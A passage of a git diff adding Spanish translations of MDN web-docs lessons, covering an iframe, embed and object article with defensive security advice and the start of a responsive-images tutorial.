+var htmlSolution = '&lt;iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen&gt;\n&lt;/iframe&gt;\n\n&lt;iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen&gt;\n&lt;/iframe&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Iframes_en_detalle">Iframes en detalle</h2>
+
+<p>Entonces, fue fácil y divertido ¿verdad? Los elementos {{htmlelement("iframe")}} están diseñados para permitirte incrustar documentos web en el documento actual.  Esto es excelente para incorporar contenido de terceros en tu sitio web sobre el que no tengas control directo y no quieras tener que implementar tu propia versión — como vídeo de porveedeores de vídeo en línea, sistemas de comentarios como <a href="https://disqus.com/">Disqus</a>, mapas de proveedores de mapas en línea, banners publicitarios, etc. Los ejemplos editables que has estado usando a través de este curso se implementan usando <code>&lt;iframe&gt;</code>s.</p>
+
+<p>Hay algunos serios  {{anch("Security concerns")}} a considerar con <code>&lt;iframe&gt;</code>s, también se discute a continuación, pero esto no significa que debas dejar de usarlos en tus sitios web — solo requiere un poco de conocimiento y pensar cuidadosamente. Vamos a explorar el código con un poco más de detalle. Supongamos que quieres incluir el glosario de MDN en una de tus páginas web — podrías intentar algo como esto:</p>
+
+<pre class="notranslate">&lt;iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
+        width="100%" height="500" frameborder="0"
+        allowfullscreen sandbox&gt;
+  &lt;p&gt; &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary"&gt;
+    Fallback link for browsers that don't support iframes
+  &lt;/a&gt; &lt;/p&gt;
+&lt;/iframe&gt;</pre>
+
+<p>Este ejemplo incluye los elementos básicos necesarios para usar un  <code>&lt;iframe&gt;</code>:</p>
+
+<dl>
+ <dt>{{htmlattrxref('allowfullscreen','iframe')}}</dt>
+ <dd>Si está configurado, el  <code>&lt;iframe&gt;</code> se puede colocar en modo pantalla completa usando el  <a href="/en-US/docs/Web/API/Fullscreen_API">Full Screen API</a> (El uso del API está fuera del alcance de este artículo.)</dd>
+ <dt>{{htmlattrxref('frameborder','iframe')}}</dt>
+ <dd>Si se establece en 1, esto le indica al navegador que dibuje un borde entre este marco y otros marcos, que es el comportamiento predeterminado. 0 elimina el borde. Usar esto ya no es realmente recomendable, ya que el mismo efecto se puede lograr mejor usando{{cssxref('border')}}<code>: none;</code> en tu {{Glossary('CSS')}}.</dd>
+ <dt>{{htmlattrxref('src','iframe')}}</dt>
+ <dd>Este atributo, como con {{htmlelement("video")}}/{{htmlelement("img")}},contiene una ruta que apunta a la URL del documento que se va a incrustar.</dd>
+ <dt>{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}</dt>
+ <dd>Estos atributos especifican el ancho y la altura (width y height) que quieres que tenga el iframe.</dd>
+ <dt><strong>Contenido de reserva</strong></dt>
+ <dd>De la misma manera que otros elementos similares {{htmlelement("video")}}, puedes incluir contenido alternativo entre las etiquetas de apertura y cierre <code>&lt;iframe&gt;&lt;/iframe&gt;</code> que aparecerán si el navegador no admite el  <code>&lt;iframe&gt;</code>. En este caso hemos incluido un enlace a la página. Es poco probable que encuentres algún navegador que no admita <code>&lt;iframe&gt;</code>s en estos días.</dd>
+ <dt>{{htmlattrxref('sandbox','iframe')}}</dt>
+ <dd>Este atributo, que funciona en navegadores un poco más modernos que el resto de la funciones de <code>&lt;iframe&gt;</code> (por ejemplo IE 10 y superior) solicita una mayor configuración de seguridad; bueno, hablaremos más sobre esto en la siguiente sección.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota</strong>: Para mejorar la velocidad, es una buena idea establecer el atributo <code>src</code> de iframes con  JavaScript después de que se cargue el contenido principal. Esto hace que tu página pueda utilizarse antes y disminuye el tiempo de carga de tu página principal (an important {{Glossary("SEO")}}.)</p>
+</div>
+
+<h3 id="Con_respecto_a_la_seguridad">Con respecto  a la seguridad</h3>
+
+<p>Arriba mencionamos nuestra preocupación por la seguridad — vamos a entrar en esto con un poco más de detalle ahora. No esperamos que comprendas todo este contenido perfectametne a la primera. Solo queremos informarte sobre esta preocupación y proporcionarte una referencia a la que volver a medida que tengas más experiencia y comiences  a considerar el uso de  <code>&lt;iframe&gt;</code>s en tu trabajo y  en tus experimentos.además, no es necesario tener miedo y no usar  <code>&lt;iframe&gt;</code>s — iframes, solo debes tener cuidado. Sigue leyendo...</p>
+
+<p>Los creadores de navegadores y los desarrolladores web han aprendido por las malas que los iframes son un objetivo común (término oficial: <strong>vector de ataque</strong>) para los "malos" de la Web (a menudo denominados <strong>hackers</strong>,o más exactamente, <strong>crackers</strong>) para atacar si están tratando de modificar maliciosamente tu página web, o engañar a las personas para que hagan algo que no quieren hacer, como revelar información confidencial como nombre de usuario o contraseña. Debido a esto, los ingenieros de especificaciones y los desarrolladores de navegadores han desarrollado varios mecanismos  para hacer que los <code>&lt;iframe&gt;</code>s sean más seguros, y también hay mejores prácticas a considerar — cubriremos algunas de estas a continuación.</p>
+
+<div class="note">
+<p>{{interwiki('wikipedia','Clickjacking')}} es un tipo de ataque de iframe común en el que los piratas informáticos incrustan un iframe invisible en tu documento (o incrustan tu documento en su propio sitio web malicioso) y lo utilizan para capturar las interacciones de los ususarios. Esta es una forma común de engañar a los usuarios o robar datos sensibles.</p>
+</div>
+
+<p>Primero un ejemplo rápido — intenta cargar el ejemplo anterior que mostramos arriba en tu navegador — puedes encontrarlo en <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html"> Github</a> (ver el <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html">código fuente</a> ) Tu no verás nada en tu navegador, pero si miras en la <em>Consola</em> en las <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">herramientas de desarrollador de tu navegador</a>,  tú verás un mensaje diciendote porque.En Firefox, te dirá <em>Load denied by X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary does not permit framing</em>. Esto es porque los desarrolladores que construyeron MDN han incluido una configuración en el servidor que almacena la página web que impide que sean incrustados dentro de  <code>&lt;iframe&gt;</code>s (ver {{anch("Configure CSP directives")}}, abajo.) Esto tiene sentido— una página completa de MDN no tiene sentido estar incrustada en otras páginas, a menos que tu quieras hacer algo como incrustarlas en tu sitio web y reclamarlas como propias  — o intentar robar datos via clickjacking, los cuales ambos son cosas realmente malas. Además de que si todo el mundo comienza a hacerlo, todo el ancho de banda adicional podría costarle mucho dinero a Mozzilla.</p>
+
+<h4 id="Solo_incrusta_cuando_sea_necesario">Solo incrusta cuando sea necesario</h4>
+
+<p>Algunas veces tiene sentido embeber contenido de terceros— como vídeos de youtube y mapas — pero puedes ahorrarte muchos dolores de cabeza si tu solo embebes contenido de terceros solo cuando es necesario. Una buena regla de oro para la seguridad web es "Nunca puedes ser demasiado cauteloso. Si lo hizo, verifíquelo de todos modos. Si alguien más lo hizo, asuma que es peligroso hasta que se demuestre lo contrario".</p>
+
+<p>Además de la seguridad, debes ser consciente de los temas de propiedad intelectual. La mayoría del contenido tiene derechos de autor, en línea y fuera de línea, incluso contenido que no te esperas(por ejemplo, la mayoría de las imágenes en <a href="https://commons.wikimedia.org/wiki/Main_Page">Wikimedia Commons</a>). Nunca muestres en tu pagina contenido a menos que te pertenezca o que el dueño te haya dado por escrito su permiso inequívoco. Las penalidades por derechos de autor son severas. De nuevo, tu nunca puedes ser demasiado cauteloso. </p>
+
+<p>Si el contenido es licenciado, debes obedecer los terminos de la licencia. Por ejemplo, el contenido en MDN es licenciado bajo<a href="/en-US/docs/MDN/About#Copyrights_and_licenses"> CC-BY-SA</a>. Esto significa, que tu debes darnos <a href="https://wiki.creativecommons.org/wiki/Best_practices_for_attribution">credito apropiadamente</a>  cuando tu citas nuestro contenido, aun si tu haces cambios substanciales.</p>
+
+<h4 id="Usa_HTTPS">Usa HTTPS</h4>
+
+<p>{{Glossary("HTTPS")}} es la versión encriptada de {{Glossary("HTTP")}}. Deberias cumplir con tu página web usando HTTPS siempre que sea posible:</p>
+
+<ol>
+ <li>HTTPS reduce la oportunidad de que contenido remoto haya sido manipulado en el tránsito.</li>
+ <li>HTTPS previene que el contenido embebido acceda al documento padre y viceversa. </li>
+</ol>
+
+<p>Usar HTTPS requiere un certificado de seguridad, el cual puede ser costoso (Aunque <a href="https://letsencrypt.org/">Let's Encrypt</a> hace las cosas más faciles) — si tu no puedes tener uno, tu debes servir tu documento padre con HTTP. Sin embargo, debido al segundo beneficio de HTTPS expuesto arriba, no importa cual sea el costo tu nunca debes embeber contenido de terceros con HTTP. (En el mejor de los casos, el navegador de tus usuarios les dará una advertencia). Todas las empresas con buena reputación que hacen contenido para embeber via <code>&lt;iframe&gt;</code> lo harán  disponible via HTTPS — mira la URLs dentro del <code>&lt;iframe&gt;</code> atributo <code>src</code> cuando tu estes embebiendo contenido desde Google Maps o Youtube, por ejemplo.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> permite que el contenido sea servido via HTTPS  por defecto, asi que es util para hospedar tu contenido. Si estás usando un hosting diferente y no estás seguro, pregunta a tu proveedor de hosting acerca del tema .</p>
+</div>
+
+<h4 id="Siempre_usa_el_atributo_sandbox">Siempre usa el atributo <code>sandbox</code></h4>
+
+<p>You want to give attackers as little power as you can to do bad things on your website, therefore you should give embedded content <em>only the permissions needed for doing its job. </em>Of course, this applies to your own content, too. un contenedor para codigo que puedes usar apropiadamente — o para probar — but can't cause any harm to the rest of the codebase (either accidental or malicious) is called a <a href="https://en.wikipedia.org/wiki/Sandbox_(computer_security)">sandbox</a>.</p>
+
+<p>Unsandboxed content can do way too much (executing JavaScript, submitting forms, popup windows, etc.) By default you should impose all available restrictions by using the <code>sandbox</code> attribute with no parameters, as shown in our previous example.</p>
+
+<p>If absolutely required, you can add permissions back one by one (inside the <code>sandbox=""</code> attribute value) — see the {{htmlattrxref('sandbox','iframe')}} reference entry for all the available options. One important note is that you should <em>never</em> add both <code>allow-scripts</code> and <code>allow-same-origin</code> to your <code>sandbox</code> attribute — in that case the embedded content could bypass the same origin security policy that stops sites from executing scripts, and use JavaScript to turn off sandboxing altogether.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Sandboxing provides no protection if attackers can fool people into visiting malicious content directly (outside an <code>iframe</code>). If there's any chance that certain content may be malicious (e.g., user-generated content), please serve it from a different {{glossary("domain")}} to your main site.</p>
+</div>
+
+<h4 id="Configure_CSP_directives">Configure CSP directives</h4>
+
+<p>{{Glossary("CSP")}} stands for <strong><a href="/en-US/docs/Web/Security/CSP">content security policy</a></strong>, and provides <a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives">a set of HTTP Headers</a> (metadata sent along with your web pages when they are served from a web server) designed to improve the security of your HTML document. When it comes to securing <code>&lt;iframe&gt;</code>s, you can <em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options">configure your server to send an appropriate <code>X-Frame-Options</code>  header.</a></em> This can prevent other websites from embedding your content in their webpages (which would enable {{interwiki('wikipedia','clickjacking')}} and a host of other attacks), which is exactly what the MDN developers have done, as we saw earlier on.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can read Frederik Braun's post <a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/">On the X-Frame-Options Security Header</a> for more background information on this topic. Obviously, it's rather out of scope for a full explanation in this article.</p>
+</div>
+
+<h2 id="The_&lt;embed>_and_&lt;object>_elements">The &lt;embed&gt; and &lt;object&gt; elements</h2>
+
+<p>The {{htmlelement("embed")}} and {{htmlelement("object")}} elements serve a different function to {{htmlelement("iframe")}} — these elements are general purpose embedding tools for embedding multiple types of external content, which include plugin technologies like Java Applets and Flash, PDF (which can be shown in a browser with a PDF plugin), and even content like videos, SVG and images!</p>
+
+<div class="note">
+<p><strong>Note</strong>: A <strong>plugin</strong> is software that provides access to content the browser cannot read natively.</p>
+</div>
+
+<p>However, you are unlikely to use these elements very much — Applets haven't been used for years, Flash is no longer very popular, due to a number of reasons (see {{anch("The case against plugins")}}, below), PDFs tend to be be better linked to than embedded, and other content such as images and video have much better, easier elements to handle those. Plugins and these embedding methods are really a legacy technology, and we are mainly mentioning them in case you come across them in certain circumstances like intranets, or enterprise projects.</p>
+
+<p>If you find yourself needing to embed plugin content, this is the kind of information you'll need, at a minimum:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">{{htmlelement("embed")}}</th>
+   <th scope="col">{{htmlelement("object")}}</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{glossary("URL")}} of the embedded content</td>
+   <td>{{htmlattrxref('src','embed')}}</td>
+   <td>{{htmlattrxref('data','object')}}</td>
+  </tr>
+  <tr>
+   <td><em>accurate </em>{{glossary("MIME type", 'media type')}} of the embedded content</td>
+   <td>{{htmlattrxref('type','embed')}}</td>
+   <td>{{htmlattrxref('type','object')}}</td>
+  </tr>
+  <tr>
+   <td>height and width (in CSS pixels) of the box controlled by the plugin</td>
+   <td>{{htmlattrxref('height','embed')}}<br>
+    {{htmlattrxref('width','embed')}}</td>
+   <td>{{htmlattrxref('height','object')}}<br>
+    {{htmlattrxref('width','object')}}</td>
+  </tr>
+  <tr>
+   <td>names and values, to feed the plugin as parameters</td>
+   <td>ad hoc attributes with those names and values</td>
+   <td>single-tag {{htmlelement("param")}} elements, contained within <code>&lt;object&gt;</code></td>
+  </tr>
+  <tr>
+   <td>independent HTML content as fallback for an unavailable resource</td>
+   <td>not supported (<code>&lt;noembed&gt;</code> is obsolete)</td>
+   <td>contained within <code>&lt;object&gt;</code>, after <code>&lt;param&gt;</code> elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: <code>&lt;object&gt;</code> requires a <code>data</code> attribute, a <code>type</code> attribute, or both. If you use both, you may also use the {{htmlattrxref('typemustmatch','object')}} attribute (only implemented in Firefox, as of this writing). <code>typemustmatch</code> keeps the embedded file from running unless the <code>type</code> attribute provides the correct media type. <code>typemustmatch</code> can therefore confer significant security benefits when you're embedding content from a different {{glossary("origin")}} (it can keep attackers from running arbitrary scripts through the plugin).</p>
+</div>
+
+<p>Here's an example that uses the {{htmlelement("embed")}} element to embed a Flash movie (see this <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">live on Github</a>, and <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">check the source code</a> too):</p>
+
+<pre class="brush: html notranslate">&lt;embed src="whoosh.swf" quality="medium"
+       bgcolor="#ffffff" width="550" height="400"
+       name="whoosh" align="middle" allowScriptAccess="sameDomain"
+       allowFullScreen="false" type="application/x-shockwave-flash"
+       pluginspage="http://www.macromedia.com/go/getflashplayer"&gt;</pre>
+
+<p>Pretty horrible, isn't it. The HTML generated by the Adobe Flash tool tended to be even worse, using an <code>&lt;object&gt;</code> element with an <code>&lt;embed&gt;</code> element embedded in it, to cover all bases (check out an example.) Flash was even used successfully as fallback content for HTML5 video, for a time, but this is increasingly being seen as not necessary.</p>
+
+<p>Now let's look at an <code>&lt;object&gt;</code> example that embeds a PDF into a page (see the <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">live example</a> and the <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">source code</a>):</p>
+
+<pre class="brush: html notranslate">&lt;object data="mypdf.pdf" type="application/pdf"
+        width="800" height="1200" typemustmatch&gt;
+  &lt;p&gt;You don't have a PDF plugin, but you can &lt;a href="myfile.pdf"&gt;download the PDF file.&lt;/a&gt;&lt;/p&gt;
+&lt;/object&gt;</pre>
+
+<p>PDFs were a necessary stepping stone between paper and digital, but they pose many <a href="http://webaim.org/techniques/acrobat/acrobat">accessibility challenges</a> and can be hard to read on small screens. They do still tend to be popular in some circles, but it is much better to link to them so they can be downloaded or read on a separate page, rather than embedding them in a webpage.</p>
+
+<h3 id="The_case_against_plugins">The case against plugins</h3>
+
+<p>Once upon a time, plugins were indispensable on the Web. Remember the days when you had to install Adobe Flash Player just to watch a movie online? And then you constantly got annoying alerts about updating Flash Player and your Java Runtime Environment. Web technologies have since grown much more robust, and those days are over. For most applications, it's time to stop delivering content that depends on plugins, and start taking advantage of Web technologies instead.</p>
+
+<ul>
+ <li><strong>Broaden your reach to everyone. </strong>Everyone has a browser, but plugins are increasingly rare, especially among mobile users. Since the Web is largely usable without plugins, people would rather just go to your competitors' websites than install a plugin.</li>
+ <li><strong>Give yourself a break from the <a href="http://webaim.org/techniques/flash/">extra accessibility headaches </a>that come with Flash and other plugins.</strong></li>
+ <li><strong>Stay clear of additional security hazards. </strong>Adobe Flash is <a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53">notoriously insecure,</a> even after countless patches. In 2015, Alex Stamos, chief security officer of Facebook, even <a href="http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso">requested that Adobe discontinue Flash.</a></li>
+</ul>
+
+<p>So what should you do? If you need interactivity, HTML and {{glossary("JavaScript")}} can readily get the job done for you with no need for Java applets or outdated ActiveX/BHO technology. Instead of relying on Adobe Flash, you can use <a href="/en-US/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">HTML5 video</a> for your media needs, <a href="/en-US/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage">SVG</a> for vector graphics, and <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas</a> for complex images and animations. <a href="https://plus.google.com/+PeterElst/posts/P5t4pFhptvp">Peter Elst was already writing some years ago</a> that Adobe Flash is rarely the right tool for the job, except for specialized gaming and business applications. As for ActiveX, even Microsoft's {{glossary("Microsoft Edge","Edge")}} browser no longer supports it.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The topic of embedding other content in web documents can quickly become very complex, so in this article we've tried to introduce it in a simple, familiar way that will immediately seem relevant, while still hinting at some of the more advanced features of the involved technologies. To start with, you are unlikely to use embedding for much beyond including third party content like maps and videos on your pages. As you become more experienced however, you are likely to start finding more uses for them.</p>
+
+<p>There are many other technologies that involve embedding external content besides the ones we discussed here. We saw some in earlier articles, such as {{htmlelement("video")}}, {{htmlelement("audio")}}, and {{htmlelement("img")}}, but there are others to discover, such as {{htmlelement("canvas")}} for JavaScript-generated 2D and 3D graphics, and {{htmlelement("svg")}} for embedding vector graphics. We'll look at <a href="/en-US/docs/Web/SVG">SVG</a> in the next article of the module.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From &lt;object&gt; to &lt;iframe&gt; — other embedding technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li>
+</ul>
diff --git a/files/es/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/es/learn/html/multimedia_and_embedding/responsive_images/index.html
new file mode 100644
index 0000000000..daa97085e9
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/responsive_images/index.html
@@ -0,0 +1,265 @@
+---
+title: Imágenes adaptables
+slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
+translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div>
+<p class="summary">En este artículo, aprenderemos sobre el concepto de imágenes adaptables — imágenes que funcionan bien en dispositivos con una amplia diferencia de tamaño de pantallas, resoluciones y otras tantas características — y observar qué herramientas proporciona HTML para ayudar a implementarlas. Esto ayuda a mejorar el rendimiento en diferentes dispositivos.</p>
+
+<p class="summary">Las imágenes adaptables son solo una parte del diseño web responsivo, un tema que aprenderás próximamente en nuestro tutorial de <a href="/en-US/docs/Learn/CSS">CSS</a>.</p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Deberías tener un conocimiento <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">básico de HTML</a> y cómo <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">agregar imágenes estáticas a un sitio web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><span style="display: none;"> </span>Objetivo:<span style="display: none;"> </span></th>
+   <td>Aprende a usar características como {{htmlattrxref("srcset", "img")}} y el elemento {{htmlelement("picture")}} para implementar soluciones de imágenes adaptables a sitios web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Por_qué_imágenes_adaptables">¿Por qué imágenes adaptables?</h2>
+
+<p>Examinemos un escenario típico. Un sitio web típico puede contener una imagen de encabezado y algunas imágenes de contenido debajo del encabezado. Es probable que la imagen del encabezado abarque todo el ancho del encabezado y la imagen del contenido quepa en algún lugar dentro de la columna de contenido. He aquí un ejemplo sencillo:</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"></p>
+
+<p>Esto funciona bien en un dispositivo de pantalla ancha, como una computadora portatil o de escritorio (puedes <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">ver el ejemplo en vivo </a>y encontrar el <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">código fuente</a> en Github.) No hablaremos mucho del CSS en esta lección, excepto para decir que:</p>
+
+<ul>
+ <li>El contenido del <code><em>body</em></code> se ha ajustado a un ancho máximo de 1200 píxeles - en pantallas por encima de ese ancho, el cuerpo permanece a 1200px y se centra en el espacio disponible. En pantallas por debajo de ese ancho, el cuerpo permanecerá al 100% del ancho de la ventana.</li>
+ <li>La imagen del encabezado se ha configurado para que su centro siempre permanezca en el centro del encabezado, sin importar el ancho que tenga el encabezado. Por lo tanto, si el sitio se visualiza en una pantalla más estrecha, aún se puede ver el detalle importante en el centro de la imagen (las personas) y el exceso se pierde en ambos lados. Tiene 200px de alto.</li>
+ <li>Las imágenes de contenido se han configurado de modo que si el elemento <code>body</code> se vuelve más pequeño que la imagen, las imágenes comienzan a encogerse para permanecer siempre dentro del <code>body</code>, en lugar de desbordarlo.</li>
+</ul>
+
+<p>Sin embargo, surgen problemas cuando comienza a ver el sitio en un dispositivo de pantalla estrecha — el encabezado de abajo está bien, pero empieza a ocupar gran parte de la altura de la pantalla de un dispositivo móvil. ¡A este tamaño es difícil ver a las personas que aparecen en la foto!</p>
+
+<p><img alt="Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it." src="https://mdn.mozillademos.org/files/12936/non-responsive-narrow.png" style="display: block; height: 793px; margin: 0px auto; width: 320px;" title=""></p>
+
+<p>Una mejora sería mostrar una versión recortada de la imagen que muestra los detalles importantes de la imagen cuando el sitio se ve en una pantalla estrecha. Se podría mostrar una segunda imagen recortada para un dispositivo de pantalla de ancho medio, como una tableta. A esto se le conoce comúnmente como <strong>el problema de cambio de resolución.</strong></p>
+
+<p>Además, no es necesario incrustar imágenes más grandes en la página si se está viendo en una pantalla móvil. Y, a la inversa, una <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Raster_image">imagen rasterizada</a> pequeña comienza a verse más pixelada cuando se muestra mayor que su tamaño original (una imagen rasterizada es un conjunto determinado de píxeles de ancho y de alto, como vimos cuando vimos los gráficos vectoriales). Esto se denomina problema de cambio de resolución.</p>
+
+<p>Por el contrario, no es necesario mostrar una imagen grande en una pantalla significativamente más pequeña que el tamaño para el que fue diseñada. Hacerlo puede desperdiciar ancho de banda; en particular, los usuarios de dispositivos móviles no quieren desperdiciar ancho de banda descargando una imagen grande destinada al escritorio, cuando una imagen pequeña sería suficiente para su dispositivo. Idealmente, tendría varias resoluciones disponibles y serviría el tamaño apropiado según el dispositivo que acceda a los datos en el sitio web.</p>
+
+<p>Para hacer las cosas más complicadas, algunos dispositivos tienen pantallas de alta resolución que necesitan imágenes más grandes de las que se espera que luzcan bien. Esto es, básicamente, el mismo problema, pero en un contexto ligeramente diferente.</p>
+
+<p>Podrías pensar que las imágenes vectoriales resolverían estos problemas, y lo hacen hasta cierto punto: son pequeñas en tamaño de archivo y escalan bien, y deberías usarlos siempre que sea posible. Sin embargo, no son adecuados para todos tipos de imágenes. Si bien son geniales para gráficos simples, patrones, elementos de interfaz, etc., es muy complejo crear una imagen basada en vectores con la cantidad de detalles que encontrarías, por ejemplo, en una foto. Formatos de imágenes rasterizadas como JPEG son más adecuados para el tipo de imágenes que vemos en el ejemplo anterior.</p>
+
+<p>Este tipo de problemas no existían cuando la web se creó por primera vez, a principios y mediados de los noventa — en ese entonces, los únicos dispositivos disponibles para navegar por la web eran los ordenadores de escritorio y laptops, por lo que los desarrolladores e ingenieros que programaban los navegadores ni siquiera pensaban en implementar estas soluciones. Las tecnologías de imagen adaptable<em> </em>se implementaron recientemente para resolver los problemas descritos anteriormente al permitirle ofrecer al navegador varias versiones de imágenes (en diferentes archivos), ya sea que muestren lo mismo pero contengan diferentes números de píxeles (cambio de resolución), o diferentes imágenes adecuadas para diferentes asignaciones de espacio (dirección de arte).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las nuevas características discutidas en este artículo — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} —son compatibles con las versiones de lanzamiento de los navegadores de escritorio y móviles modernos (incluido el navegador Edge de Microsoft, aunque no Internet Explorer).</p>
+</div>
+
+<h2 id="¿Cómo_se_crean_las_imágenes_adaptables">¿Cómo se crean las imágenes adaptables?</h2>
+
+<p>En esta sección, veremos los dos problemas ilustrados anteriormente y mostraremos cómo solucionarlos usando las características de imágenes adaptables con HTML. Debe tener en cuenta que nos centraremos en el elemento HTML {{htmlelement("img")}} para esta sección, tal como se muestra en el área de contenido del ejemplo anterior —  la imagen en el encabezado del sitio es solo de decoración y, por lo tanto, implementado usando imágenes de fondo con CSS. Se puede decir que<a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/"> CSS posee mejores herramientas para el diseño adaptable que HTML</a>, y hablaremos sobre ellas en nuestro módulo <a href="/en-US/docs/Web/CSS">CSS</a>.  </p>
+
+<h3 id="Cambio_de_resolución_Diferentes_tamaños">Cambio de resolución: Diferentes tamaños</h3>
+
+<p>Entonces, ¿qué queremos solucionar con el cambio de resolución? Queremos mostrar la misma imagen, más grande o más pequeña dependiendo del dispositivo — Esta es la situación que tenemos en la segunda imagen de nuestro ejemplo. El elemento estándar {{htmlelement("img")}} tradicionalmente solo permite apuntar el navegador a un solo archivo fuente:</p>
+
+<pre class="brush: html notranslate">&lt;img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"&gt;</pre>
+
